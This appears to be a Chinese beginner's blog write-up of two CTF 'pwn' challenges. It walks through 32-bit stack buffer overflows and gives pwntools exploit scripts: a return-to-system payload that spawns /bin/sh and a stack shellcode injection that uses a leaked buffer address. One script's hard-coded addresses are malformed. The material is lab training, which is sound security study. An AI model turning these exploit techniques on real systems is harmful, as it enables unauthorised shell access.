pwn——20180831

Get a shell , come on !

题目1:https://pan.baidu.com/s/1dTE2MxfBvVYTS0MhJwj_vw
提取码:7wbc

工具:gdb

题解:
1、首先file stack_3一下,32位的,gdb ./stack_3一下,run一下,输入即报错。
用ida打开,点进main函数,f5编译一下,读一下吧。
2、

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+10h] [ebp-10h]

  memset(&s, 0, 16);//memset用于清空数组
  puts("Input something...!");
  read(0, &s, 64);//从文件中读取数据
  return 0;
}

读代码得:read函数可以从标准输入那读取64个字符到缓冲区s, 然而缓冲区s的大小是16, 所以有栈溢出。
3、点开system函数看,竟然是“echo how to do?”,我们想要执行“bin/sh”来获得权限,找一下吧,shift+f12找到了“bin/sh”所在地址,好的,因为要回主函数,所以找到system_plt ,哦还要找个临界值28,好了开始写脚本吧。

from pwn import *

system_plt=0x0804837
binsh_addr=0804A02C

p=process('./stack_3')
p.recvuntil("Input something...!")
payload='a'*28 + p32(system_plt) + p32(0xdeadbeef) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

跑一下,哇,获得权限了。
这里写图片描述

知识点
1、读懂伪代码(memset,read),找得到溢出值,system_plt和binsh_addr。
2、写python脚本。
3、要懂栈溢出
(qwq,不知道为什么知识点仅写了这么点,我可是刚碰pwn啊,不应该很多吗)

题目2:https://pan.baidu.com/s/10aTSCCZ_WrxxTwsnzYXFTg
提取码:volv

题解:
1、checksec看保护机制,ida静态分析,确定缓冲区到返回地址的距离。
2、找不到“bin/sh”(shift+f12或在system中找)怎么办。执行shellcode来得到一个shell.
3、怎么执行shellcode?把shellcode放到栈上,把返回地址覆盖为shellcode。
4、shellcode怎么放到栈上,放在哪里,地址呢?题中已经泄露了缓冲区buf的地址,把shellcode放到buf中吧。
(他给的地址不能用,因为随机地址保护机制是打开的,所以要在执行的时候获得地址)
那么脚本如下:

from pwn import *

p=process('./stack_2')

data=p.recvuntil("?\n")
shellcode_addr=int(data[22:32],16)
#获取地址
shellcode=asm(shellcraft.i386.linux.sh(),arch='i386')
#构造shellcode
payload=shellcode + 'a'*(76-len(shellcode)) + p32(shellcode_addr)
""“
构造payload
"""

p.sendline(payload)
p.interactive()

这里写图片描述

知识点:
1、利用pwntools构造shellcode
2、如何获取buf地址

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值